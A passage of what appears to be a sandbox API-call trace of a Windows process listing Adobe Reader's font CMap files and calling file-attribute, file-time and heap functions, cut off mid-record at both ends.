nFileSizeHigh=0x0, nFileSizeLow=0xc17, dwReserved0=0x0, dwReserved1=0x0, cFileName="B5pc-V", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3205, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNS-EUC-H", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x363d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNS-EUC-V", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETen-B5-H", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x466cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETen-B5-UCS2", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETen-B5-V", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETenms-B5-H", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc89, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETenms-B5-V", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6017, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETHK-B5-H", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETHK-B5-V", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUC-H", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd45, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUC-V", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x403c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ext-RKSJ-H", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe53, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ext-RKSJ-V", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB-EUC-H", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB-EUC-V", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15594, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK-EUC-H", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x39050, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK-EUC-UCS2", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK-EUC-V", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17840, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK2K-H", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe55, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK2K-V", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15580, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBKp-EUC-H", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBKp-EUC-V", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x125b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBpc-EUC-H", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x520, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBpc-EUC-UCS2", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x24296, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBpc-EUC-UCS2C", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xccf, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBpc-EUC-V", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc07a, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBT-EUC-H", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xccb, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBT-EUC-V", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x145a, dwReserved0=0x0, dwReserved1=0x0, cFileName="H", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5f97, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKdla-B5-H", cAlternateFileName="")) returned 1 [0083.895] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKdla-B5-V", cAlternateFileName="")) returned 1 [0083.895] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x55fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKdlb-B5-H", cAlternateFileName="")) returned 1 [0083.895] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKdlb-B5-V", cAlternateFileName="")) returned 1 [0083.895] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x386a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKgccs-B5-H", cAlternateFileName="")) returned 1 [0083.895] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc21, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKgccs-B5-V", cAlternateFileName="")) returned 1 [0083.895] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKm314-B5-H", cAlternateFileName="")) returned 1 [0083.895] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc21, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKm314-B5-V", cAlternateFileName="")) returned 1 [0083.895] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKm471-B5-H", cAlternateFileName="")) returned 1 [0083.895] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc21, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKm471-B5-V", cAlternateFileName="")) returned 1 [0083.895] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x604d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKscs-B5-H", cAlternateFileName="")) returned 1 [0083.895] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKscs-B5-V", cAlternateFileName="")) returned 1 [0083.895] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2024, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identity-H", cAlternateFileName="")) returned 1 [0083.895] GetLastError () returned 0x12 [0083.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0083.896] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0083.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0083.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.897] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.910] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0083.911] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0083.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0083.912] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0083.912] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0083.912] NtClose (Handle=0x15c) returned 0x0 [0083.912] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0083.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.913] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: 